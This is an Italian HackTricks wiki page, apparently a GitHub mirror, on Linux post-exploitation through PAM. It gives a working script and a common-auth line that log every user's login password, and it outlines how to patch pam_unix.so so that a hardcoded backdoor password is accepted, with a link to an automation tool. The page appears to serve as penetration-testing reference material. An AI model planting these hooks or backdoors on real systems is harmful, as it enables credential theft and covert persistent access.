mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
54 lines
3.6 KiB
Markdown
54 lines
3.6 KiB
Markdown
# Linux Post-Exploitation
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Sniffing Logon Passwords with PAM
|
|
|
|
Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza per accedere. Se non sai cos'è PAM, controlla:
|
|
|
|
{{#ref}}
|
|
pam-pluggable-authentication-modules.md
|
|
{{#endref}}
|
|
|
|
**Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riassunto:
|
|
|
|
**Panoramica della Tecnica:**
|
|
I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riassunto delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione.
|
|
|
|
**Cattura delle Credenziali:**
|
|
|
|
- Uno script bash chiamato `toomanysecrets.sh` è creato per registrare i tentativi di accesso, catturando la data, il nome utente (`$PAM_USER`), la password (tramite stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`.
|
|
- Lo script è reso eseguibile e integrato nella configurazione PAM (`common-auth`) utilizzando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente ed esporre il token di autenticazione allo script.
|
|
- L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
|
|
```bash
|
|
#!/bin/sh
|
|
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
|
sudo touch /var/log/toomanysecrets.sh
|
|
sudo chmod 770 /var/log/toomanysecrets.sh
|
|
sudo nano /etc/pam.d/common-auth
|
|
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
|
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
|
```
|
|
### Backdooring PAM
|
|
|
|
**Per ulteriori dettagli controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
|
|
|
|
Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: **nome utente**, **password** e **servizio**. I file di configurazione per ogni servizio si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione.
|
|
|
|
**Obiettivo**: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa `pam_unix.so` utilizzata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password.
|
|
|
|
### Passi per Modificare `pam_unix.so`:
|
|
|
|
1. **Individuare la Direttiva di Autenticazione** nel file `common-auth`:
|
|
- La riga responsabile del controllo della password di un utente chiama `pam_unix.so`.
|
|
2. **Modificare il Codice Sorgente**:
|
|
- Aggiungere un'istruzione condizionale nel file sorgente `pam_unix_auth.c` che concede accesso se viene utilizzata una password predefinita, altrimenti procede con il normale processo di autenticazione.
|
|
3. **Ricompilare e Sostituire** la libreria modificata `pam_unix.so` nella directory appropriata.
|
|
4. **Test**:
|
|
- L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati.
|
|
|
|
> [!NOTE]
|
|
> Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|